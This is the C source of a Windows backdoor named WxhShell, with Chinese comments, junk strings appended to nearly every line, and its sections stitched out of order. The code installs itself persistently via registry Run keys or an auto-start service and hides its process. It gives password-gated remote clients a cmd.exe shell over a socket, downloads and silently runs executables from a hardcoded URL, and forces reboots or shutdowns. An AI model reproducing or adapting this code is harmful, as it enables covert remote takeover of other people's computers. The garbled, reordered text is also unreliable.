    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MQ}+*Wr  
    else { q$Gs;gz^(  
    closesocket(wsh); |*&l?S  
    ExitThread(0); gg'1q3OjM  
    } };/QK*  
    break; &L ;ocd$  
    } Ms{";qiG  
  // 获取shell ,fkvvM{mq  
  case 's': { ?\}Gi(VVE  
    CmdShell(wsh); :!`"GaTy  
    closesocket(wsh); lvs  XL  
    ExitThread(0); 7L{1S v  
    break; F"@%7xy  
  } 9wgB J Jl7  
  // 退出 WE<?y_0y&  
  case 'x': { ]?eZDf~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V]=22Cxi'~  
    CloseIt(wsh); QQ*sjK.(  
    break; oaY_6  
    } Yh":>~k?SY  
  // 离开 [2%[~&4  
  case 'q': { 1Ms[$$b$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lSj gN~:z  
    closesocket(wsh); _Cmmx`ln  
    WSACleanup(); 'solCAy  
    exit(1); CWj_K2=d  
    break; D -}>28  
        } hnnB4]c  
  } wu41Mz7  
  } |.<_$[v[x  
=~#mF<z5  
  // 提示信息 mzgt>Qtkz=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %( )d$.F  
} X8Z?G,[H  
  } @= -(H<0  
Y-VDi.]W  
  return; =C"[o\]VV  
} i2F7O"f.  
F'bwXb**  
// shell模块句柄 ({f}Z-%  
int CmdShell(SOCKET sock) E)"19l|}B  
{ YagfCi ?  
STARTUPINFO si; H4$qM_N  
ZeroMemory(&si,sizeof(si)); nL@'??I1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xL}i9ozZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cc@W 6W  
PROCESS_INFORMATION ProcessInfo; tpfgUZ{  
char cmdline[]="cmd"; ]\E"oZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]a $6QS  
  return 0; vygzL U^  
} "J VIkC  
bLqy7S9x  
// 自身启动模式 .<x6U*)\O  
int StartFromService(void) F%OP,>zl  
{ ,OE&e* 1  
typedef struct L%'J]HL-  
{  Nx}nOm  
  DWORD ExitStatus; F O!Td  
  DWORD PebBaseAddress; ^T=9j.e'ja  
  DWORD AffinityMask; `Os=cMR  
  DWORD BasePriority; g4K+AK  
  ULONG UniqueProcessId; r\NqY.U&  
  ULONG InheritedFromUniqueProcessId; l:HQ@FX  
}   PROCESS_BASIC_INFORMATION; 7?P'f3)fG  
``MO5${  
PROCNTQSIP NtQueryInformationProcess; &@~K8*tmK  
M2$/x`\-~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -y`Pm8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m+QS -woHn  
v%tjZ5x  
  HANDLE             hProcess; !np_B0`  
  PROCESS_BASIC_INFORMATION pbi; 1p&.\ ^  
7)?C+=,0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <)qa{,GX\  
  if(NULL == hInst ) return 0; P,v7twc0M  
L+t / E`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #S>N}<>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ly= .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6pt,]FlU  
;jP sS^X  
  if (!NtQueryInformationProcess) return 0; Z{8%Cln  
WQ|Ufl;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lrrTeE*  
  if(!hProcess) return 0; *5'8jC"2g  
1k[_DQ=^l1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &;Ncc,jb  
9z,sn#-t  
  CloseHandle(hProcess); ZCCCuB  
>d 5-if  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x{H+fq,M  
if(hProcess==NULL) return 0; $tlBI:ay1  
NlYuT+  
HMODULE hMod; KOixFn1  
char procName[255]; =?]`Xo,v~  
unsigned long cbNeeded; lMv6QL\>'  
fTxd8an{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u#6s^ )W  
G^'We6<  
  CloseHandle(hProcess); xQR/Xp!h  
f6r!3y  
if(strstr(procName,"services")) return 1; // 以服务启动 Tv%7=P;r  
&r,vD,  
  return 0; // 注册表启动 >~g-  
} lDS y$  
0f4 y"9m  
// 主模块 >s<Bu'r  
int StartWxhshell(LPSTR lpCmdLine) VgPlIIHh5  
{ 'a(y]QG  
  SOCKET wsl; @(R=4LL  
BOOL val=TRUE; <?41-p-;  
  int port=0; `.@udfog^0  
  struct sockaddr_in door; 5K Ij}VN  
'`8 ^P  
  if(wscfg.ws_autoins) Install(); A6z2KVk  
$YJ 1P  
port=atoi(lpCmdLine); w,hm_aDq  
UDHOcb  
if(port<=0) port=wscfg.ws_port; &5}YTKe}|  
HOi~eX1d  
  WSADATA data; m9h<)D'>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a>C;HO  
hUpour |b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   auI`'O`/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iKq_s5|sW  
  door.sin_family = AF_INET; }a OBQsnO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I(UK9H{0$  
  door.sin_port = htons(port); cO:lpsKYQ  
uV|F 3'jT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j6s j2D  
closesocket(wsl); >QDyG8*  
return 1; H2iIBGu|L  
} "tT4Cb3  
,b^Y8_ltoT  
  if(listen(wsl,2) == INVALID_SOCKET) { :TVo2Zm[@  
closesocket(wsl); !- [ ZQ  
return 1; 7(5d$W  
} '*[7O2\%/  
  Wxhshell(wsl); ~LI}   
  WSACleanup(); aP(~l_  
C;ab-gh  
return 0; WiZkIZ  
Y"ta`+ VJ  
} _9-;35D_  
3 85qQppz  
// 以NT服务方式启动 _I)TO_L;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u/k' ry=  
{ xqdkc^b  
DWORD   status = 0; ipG 0ie+  
  DWORD   specificError = 0xfffffff; 5> dA7j^v  
%#fjtbeB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TlO=dLR7d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nls$ wE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; };r EN`L  
  serviceStatus.dwWin32ExitCode     = 0; }A6z%|d  
  serviceStatus.dwServiceSpecificExitCode = 0; rhYARr'  
  serviceStatus.dwCheckPoint       = 0; ^0"fPG`  
  serviceStatus.dwWaitHint       = 0; uih8ZmRt  
alxIc.[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -^np"Jk  
  if (hServiceStatusHandle==0) return; Tb^1#O  
f*V^HfiQb  
status = GetLastError(); 'oGMr=gp<&  
  if (status!=NO_ERROR) ?&6|imPE  
{ + S5uxO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gdAd7 T  
    serviceStatus.dwCheckPoint       = 0; y)fz\wk  
    serviceStatus.dwWaitHint       = 0; cEXd#TlY~X  
    serviceStatus.dwWin32ExitCode     = status; q-1vtbn  
    serviceStatus.dwServiceSpecificExitCode = specificError; j0F& WKk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R {-M%n4w  
    return; f&F9ImZ  
  } hey/#GC*  
hQ)?LPUB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8u*Q^-fpo0  
  serviceStatus.dwCheckPoint       = 0; Q(WfWifu-|  
  serviceStatus.dwWaitHint       = 0; .|:(VG$MfI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u3cg&lEgT  
} M"-53|#:w\  
*Qngx  
// 处理NT服务事件,比如:启动、停止 nbw8YO(=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #BEXj<m+J  
{ 6DEH |2  
switch(fdwControl) t}K8{ V  
{ YYe<StyH  
case SERVICE_CONTROL_STOP: .F/l$4CQ  
  serviceStatus.dwWin32ExitCode = 0; wlwgYAD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (h&=N a~  
  serviceStatus.dwCheckPoint   = 0; p:| 7d\r  
  serviceStatus.dwWaitHint     = 0; R{B5{~m>W@  
  { dphWxB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3;//o<  
  } UOe@R|79q  
  return; (6)|v S  
case SERVICE_CONTROL_PAUSE: =m;cy0))  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (^ J2(  
  break; mt *Dx  
case SERVICE_CONTROL_CONTINUE: KrTlzbw&p\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;P8.U(  
  break; u\K`TWb%  
case SERVICE_CONTROL_INTERROGATE: Q9g^'a  
  break; ?;rRR48T9E  
}; Z1\=d=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =EHKu|rX~  
} Tn'o$J  
tac_MtW?  
// 标准应用程序主函数 C61E=$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q-e(>=Gv_  
{ %pxHGO=)E  
RHI?_gf&  
// 获取操作系统版本 . N5$s2t  
OsIsNt=GetOsVer(); 7$kTeKiP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w\>@> *E>  
S8e?-rC  
  // 从命令行安装 ?KFj=Yo  
  if(strpbrk(lpCmdLine,"iI")) Install(); tRR<4}4R  
|Mnc0Fgvy,  
  // 下载执行文件 _BND{MsX  
if(wscfg.ws_downexe) { ~kZ? e1H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hIo ^/_K  
  WinExec(wscfg.ws_filenam,SW_HIDE); X$< CIZ  
} @(m?j1!M  
Cyp%E5b7  
if(!OsIsNt) { Ye\ &_w"  
// 如果时win9x,隐藏进程并且设置为注册表启动 jrO{A3<E  
HideProc(); V4?]NFK  
StartWxhshell(lpCmdLine); *5" )3\/  
} 9,wU[=.0  
else RAoY`AWI  
  if(StartFromService())  :D  
  // 以服务方式启动 `G>BvS5h  
  StartServiceCtrlDispatcher(DispatchTable); ?fvK<0S`  
else f!}e*oX  
  // 普通方式启动 7;ddzxR4  
  StartWxhshell(lpCmdLine); "IzM:  
\x~},!l  
return 0; (p?B=  
} aB~=WWLR\  
7eyx cr;z  
"tU,.U  
~ ll+/w\4  
=========================================== ;TCT%j`^o  
I*= =I4qx  
joJQ?lG  
wGx*Xy1n<  
ft Rza  
]= 9^wS  
" l\t<_p/I)^  
[_3L  
#include <stdio.h> T@on ue7  
#include <string.h> hR~~k~84  
#include <windows.h> &&|c-mD+*  
#include <winsock2.h> f>ilk Q`  
#include <winsvc.h> pa6-3c  
#include <urlmon.h> LX;" Mz>  
f26hB;n  
#pragma comment (lib, "Ws2_32.lib") j<'ZO)q`Q  
#pragma comment (lib, "urlmon.lib") '>dx~v %  
cp3O$S  
#define MAX_USER   100 // 最大客户端连接数 R}0!F 2  
#define BUF_SOCK   200 // sock buffer eW;0{P  
#define KEY_BUFF   255 // 输入 buffer  z-;{pPZ  
bjB4  
#define REBOOT     0   // 重启 >vc$3%L[$  
#define SHUTDOWN   1   // 关机 gwv s  
yq\p%z$:  
#define DEF_PORT   5000 // 监听端口 (b;*8  
6%fF6  
#define REG_LEN     16   // 注册表键长度 vFl06N2  
#define SVC_LEN     80   // NT服务名长度 -gy@sSfvkv  
U|)CZcM  
// 从dll定义API "'*w_H0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  j#YPo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yDe#,|-p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h4k.1yH;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I?Ct@yxhF'  
- DE?L,9X9  
// wxhshell配置信息 /}#@uC  
struct WSCFG { eaCh;IpIf  
  int ws_port;         // 监听端口 #Bi8>S  
  char ws_passstr[REG_LEN]; // 口令 I&|J +B?#  
  int ws_autoins;       // 安装标记, 1=yes 0=no >}6V=r3[+  
  char ws_regname[REG_LEN]; // 注册表键名 >m4Q*a4M  
  char ws_svcname[REG_LEN]; // 服务名 YuKg|<WO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [}Pi $at  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S_dM{.!Z(,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HMPb%'U~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {~+o+LV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q,< V)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NX9K%J  
"=3bL>\<  
}; Hw 1cc3!  
|%c"Avc  
// default Wxhshell configuration E7>D:BQ\2  
struct WSCFG wscfg={DEF_PORT, #Zt(g(T  
    "xuhuanlingzhe", /YT _~q=:  
    1, _ 2E*  
    "Wxhshell", hmM2c15T5  
    "Wxhshell", :*dfP/GO  
            "WxhShell Service", uo[W|Q  
    "Wrsky Windows CmdShell Service", [ T!0ka  
    "Please Input Your Password: ", }?^5L7n  
  1, r%UsUj  
  "http://www.wrsky.com/wxhshell.exe", R gTrj  
  "Wxhshell.exe" w  
    }; c-q=Ct  
m)Sdo gt_  
// 消息定义模块 ;X)b=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HGl.dO 7NU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >dYN@cB$}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6&s" "J)3  
char *msg_ws_ext="\n\rExit."; $s"{C"4q  
char *msg_ws_end="\n\rQuit."; cPbAR'  
char *msg_ws_boot="\n\rReboot..."; c01i !XS  
char *msg_ws_poff="\n\rShutdown..."; "1|\V.>>;  
char *msg_ws_down="\n\rSave to "; 32x[6"T  
/;clxtus  
char *msg_ws_err="\n\rErr!"; ibn(eu<uW  
char *msg_ws_ok="\n\rOK!"; xnvG5  
gOLN7K-)  
char ExeFile[MAX_PATH]; y8k8Hd1<f  
int nUser = 0; <L-F3Buu  
HANDLE handles[MAX_USER]; H9*k(lnz`  
int OsIsNt; E!9WZY  
a2Ak?W1  
SERVICE_STATUS       serviceStatus; }4|EHhG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^K?-+  
MGR:IOTa  
// 函数声明 kUd]8Ff!  
int Install(void); h9)S&Sk{s  
int Uninstall(void); ` 2W^Ui,4  
int DownloadFile(char *sURL, SOCKET wsh); pe?)AiTZ:  
int Boot(int flag); [YOH'i&X  
void HideProc(void); I&1Lm)W&  
int GetOsVer(void); |7|S>h^  
int Wxhshell(SOCKET wsl); *fg2bz<~[B  
void TalkWithClient(void *cs); +{:uPY#1  
int CmdShell(SOCKET sock); #t ;`  
int StartFromService(void); [neuwdN  
int StartWxhshell(LPSTR lpCmdLine); LikcW#  
= lo.LFV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7ch9Pf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A=<7*E  
(4YLUN&1O$  
// 数据结构和表定义 S/]\GG{  
SERVICE_TABLE_ENTRY DispatchTable[] = 'UlVc2%{  
{ k\f _\pj6  
{wscfg.ws_svcname, NTServiceMain}, yK*vn]}  
{NULL, NULL} Q-<]'E#\(  
}; 9!( 8o  
'PF>#X''  
// 自我安装 FZi@h  
int Install(void) @:>"VP<(  
{ \L Q+ n+  
  char svExeFile[MAX_PATH]; YG\#N+D  
  HKEY key; &;@L] o  
  strcpy(svExeFile,ExeFile); {-Y;!  
<M:BN6-yG  
// 如果是win9x系统,修改注册表设为自启动 UoT`/.  
if(!OsIsNt) { ]oGd,v X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SQN?[v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t13V>9to  
  RegCloseKey(key);  YSD G!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &4?&tGi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s)-oCT$[  
  RegCloseKey(key); M$K%e  
  return 0; noWF0+ %  
    } 8V:;HY#  
  } )-2Nc7  
} YmV/[{  
else { J^7m?mA  
MPB[~#:  
// 如果是NT以上系统,安装为系统服务 :60v bO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u&zY>'}zm  
if (schSCManager!=0)  [Sm<X  
{ #NM)  
  SC_HANDLE schService = CreateService ;<+efYmyc  
  ( Xh"9Bcjf  
  schSCManager, D \ rns+  
  wscfg.ws_svcname, A]BeI  
  wscfg.ws_svcdisp, E+L7[  
  SERVICE_ALL_ACCESS, nb_/1{F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? |M-0{  
  SERVICE_AUTO_START, + <bj}"  
  SERVICE_ERROR_NORMAL, k~[jk5te  
  svExeFile, %2 r ~  
  NULL, Z=Y29V8  
  NULL, K,S4  
  NULL, =R5W KX  
  NULL, ?mH=3 :~  
  NULL 2!%)_<  
  ); 5IU!BQU  
  if (schService!=0) )LP'4*  
  { j^jC|  
  CloseServiceHandle(schService); 'w:ugb9]  
  CloseServiceHandle(schSCManager); 1< !P:@(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u&~Xgq5[  
  strcat(svExeFile,wscfg.ws_svcname); $0Y`> 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fs]N9],=I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J jAxNviG  
  RegCloseKey(key); fN2Sio:  
  return 0; HI5NWdfRl  
    } hDXTC_^s  
  } &4%pPL\f  
  CloseServiceHandle(schSCManager); !oz{XWE  
} 'o&d!  
} Pt"K+]Ym  
P>_O :xD  
return 1; jIKg* @  
} S_7]_GQ9  
^; KC E  
// 自我卸载 EZ!! V~  
int Uninstall(void) {C w.?JU  
{ XL*M#Jx  
  HKEY key; !Yc:yF  
*<\ `"C;  
if(!OsIsNt) { O/eZ1YAC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Uny.C]  
  RegDeleteValue(key,wscfg.ws_regname);  ]]p\1G  
  RegCloseKey(key); K+Him] b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :^(y~q?  
  RegDeleteValue(key,wscfg.ws_regname); jwwRejNV  
  RegCloseKey(key); Q7x[08TI  
  return 0; +c8`N'~  
  } YI0l&'7  
} C2<TR PT  
} )B]"""J  
else { .$~3RjM  
ltOS()[X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @. sn  
if (schSCManager!=0) iZTU]+z!  
{ 23CvfP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ";U~wZW_  
  if (schService!=0) +~=a$xA[C  
  { E$lbm>jsb$  
  if(DeleteService(schService)!=0) { v[|-`e*  
  CloseServiceHandle(schService); C6c*y\O\7  
  CloseServiceHandle(schSCManager); (?A c`H  
  return 0; yoGG[l2k>s  
  } ]$#bNt/p  
  CloseServiceHandle(schService); ?"'+tZ=f6  
  } "(jD*\8x  
  CloseServiceHandle(schSCManager); nql1I<I  
} _'!qOt7D  
} BqJ|l7+  
,|O6<u9  
return 1; ~5Fx[q  
} `[$>S  
-e$ T}3IV  
// 从指定url下载文件 %V;* E]  
int DownloadFile(char *sURL, SOCKET wsh) nYyKz Rz  
{ }\m.~$|[  
  HRESULT hr; !hJ!ck]M  
char seps[]= "/"; XRV~yBIS  
char *token; <:AA R2=  
char *file; ) YB'W_  
char myURL[MAX_PATH]; BZv:E?1z  
char myFILE[MAX_PATH]; ?6"U('y>n  
1OvoW Nx  
strcpy(myURL,sURL); c)Ng9p  
  token=strtok(myURL,seps); S['rTuk  
  while(token!=NULL) DI(XB6  
  { |L89yjhWBs  
    file=token; yOD=Vc7i  
  token=strtok(NULL,seps); J>+\a1{  
  } N G vb]  
G_qt~U  
GetCurrentDirectory(MAX_PATH,myFILE); )" Z|x  
strcat(myFILE, "\\"); <k3KCt  
strcat(myFILE, file); $ r-rIW5\  
  send(wsh,myFILE,strlen(myFILE),0); IRR b^Q6  
send(wsh,"...",3,0); ``]NB=N}{1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %qqCpg4  
  if(hr==S_OK) 14l6|a  
return 0; ]N\D^`iQ  
else ' Hj([N  
return 1; Ya~Th)'>q  
1}Guhayy  
} J@i9)D_  
zXUB6. e  
// 系统电源模块 C \5yo  
int Boot(int flag) ?N9Z;_&^.  
{ CX2qtI8N?  
  HANDLE hToken; ./zzuKO8XK  
  TOKEN_PRIVILEGES tkp; }!r pH{y  
C2b<is=H:  
  if(OsIsNt) { ,*9gy$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rmC7!^/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XR<g~&h  
    tkp.PrivilegeCount = 1; ru/{s3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M<= e~';H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f`rI]v|@  
if(flag==REBOOT) { RH7!3ye  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jUZ$vyT  
  return 0; '"c`[L7Wn  
} tCRsaDK>  
else { \R-'<kN.*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ttB>PTg#  
  return 0; ] X)~D!mA  
} \QG2V$  
  } r? }|W2^%  
  else { owyQFk  
if(flag==REBOOT) { 6Hy_7\$(-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8df| 9E$  
  return 0; A5\ Hq  
} )lz)h*%#  
else { "~zLG"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 _"G@h  
  return 0; N9*QQ0  
} nWK7*  
} C7AD1rl  
0DnOO0Nc  
return 1; /<-=1XJI  
} PRB lf  
3xdJ<Lrq  
// win9x进程隐藏模块 ~J#Z7y]p!j  
void HideProc(void) M} ri>o  
{ 0S&J=2D!  
cF EO}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0r i  
  if ( hKernel != NULL ) <u],R.S)  
  { *(5T?p[7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o=Mm=;H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @SaxM4  
    FreeLibrary(hKernel); R[* n3 wB  
  } 9x8Vsd  
`ueOb  
return; ]n"U])pJd  
} kkMChe};5  
M)Z!W3  
// 获取操作系统版本 >#gDk K  
int GetOsVer(void) %~>-nqS  
{ >M##q?.  
  OSVERSIONINFO winfo; ZSD7%gE<D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0jPUDkH*  
  GetVersionEx(&winfo); :>_oOn[_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M"qS#*{  
  return 1; $A/?evJi8R  
  else Dbq/t^  
  return 0; vM$hCV ~N  
} %XZhSmlf  
&RI;!qn6(  
// 客户端句柄模块 &#gh :5  
int Wxhshell(SOCKET wsl) y7rT[f/J  
{ ~Je40vO[  
  SOCKET wsh; A;&YPHB  
  struct sockaddr_in client; .=d40m  
  DWORD myID; TiG?r$6v%  
o61rTj  
  while(nUser<MAX_USER) $ e,r>tgD  
{ \1n (Jr.<  
  int nSize=sizeof(client); Ai^0{kF6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4sBvW  
  if(wsh==INVALID_SOCKET) return 1; G%zJ4W%  
3p?nQ O)L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {{>,c}O /  
if(handles[nUser]==0) KK6z3"tk5  
  closesocket(wsh); X?&{< vz  
else Br42Qo2"T>  
  nUser++; 2i !\H$u`  
  } &5z9C=]e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ue@W@pj  
h+Yd \k  
  return 0; -Lb7=98  
} nD]Mg T  
"M\rO!f:  
// 关闭 socket vW!O("\7K<  
void CloseIt(SOCKET wsh) W\5 -Yg(@  
{ ~{-Ka>A  
closesocket(wsh); ?~.:C'  
nUser--; [u^ fy<jdp  
ExitThread(0); l?V#;  
} D]rYg'  
mW+5I-~  
// 客户端请求句柄 P/^@t+KC  
void TalkWithClient(void *cs) j72mm!  
{ 4<)*a]\c5M  
=1(7T.t  
  SOCKET wsh=(SOCKET)cs; %|^,Q -i,  
  char pwd[SVC_LEN]; fkImX:|q  
  char cmd[KEY_BUFF]; >j$aY  
char chr[1]; +Wy`X5v  
int i,j; %hw4IcWJ|  
J=(i0A  
  while (nUser < MAX_USER) { iQT0%WaHl  
L+T7Ge q  
if(wscfg.ws_passstr) { GO@<?>K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 |LRb/|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i+< v7?:`#  
  //ZeroMemory(pwd,KEY_BUFF); n9k  
      i=0; ,O:p`"3`0=  
  while(i<SVC_LEN) { =h +SZXe<r  
WS(m#WFQr  
  // 设置超时 {Oq8A.daJ  
  fd_set FdRead; e{Vn{.i,5  
  struct timeval TimeOut; m .(\u?J  
  FD_ZERO(&FdRead); ?m7i7Dz   
  FD_SET(wsh,&FdRead); )Y'g;  
  TimeOut.tv_sec=8; U:eX^LE7  
  TimeOut.tv_usec=0; &y|PseH"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I@O9bxR?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 02tN=}Cj)  
{D(l#;,iX2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %6^nb'l'C  
  pwd=chr[0]; 8fBhX,1  
  if(chr[0]==0xd || chr[0]==0xa) { J kAd3ls  
  pwd=0; ZGI<L  
  break; cXf/  
  } \w1',"l`  
  i++; kTT%< e  
    } k\*?<g  
$UK m[:7  
  // 如果是非法用户,关闭 socket [q_62[-X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8y_(Iu|:  
} f#!nj]}#  
>+.GBf<E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $]}K;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xo[cpcV  
W?P4oKsql*  
while(1) { n+Conp/  
_y>drvg  
  ZeroMemory(cmd,KEY_BUFF); O{7#Xj :_  
C!+PBk[9  
      // 自动支持客户端 telnet标准   +opym!\  
  j=0; 1|ddG010  
  while(j<KEY_BUFF) { f? GoBh<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3&{6+A  
  cmd[j]=chr[0]; GE=S.P;  
  if(chr[0]==0xa || chr[0]==0xd) { \T<F#a  
  cmd[j]=0; Cc`-34/%  
  break; m?Cb^WgcF  
  } J&JZYuuf  
  j++; <&O*' <6C  
    } ,D(Bg9C  
I!u=.[5zdC  
  // 下载文件 G973n  
  if(strstr(cmd,"http://")) { Z02EE-A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UGgo;e  
  if(DownloadFile(cmd,wsh)) _Ye.29  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $dK430_B  
  else +_S0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S# baOO  
  } @W$ha y  
  else { S>*i\OnI'  
Ik5V?  
    switch(cmd[0]) { 2|B@s3a  
  8)pL0bg  
  // 帮助 !?+0O]`}  
  case '?': { 0CXXCa7!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~EXCYUp4v  
    break; 'X6Y!VDd  
  } R;A8y  
  // 安装 :(yu t  
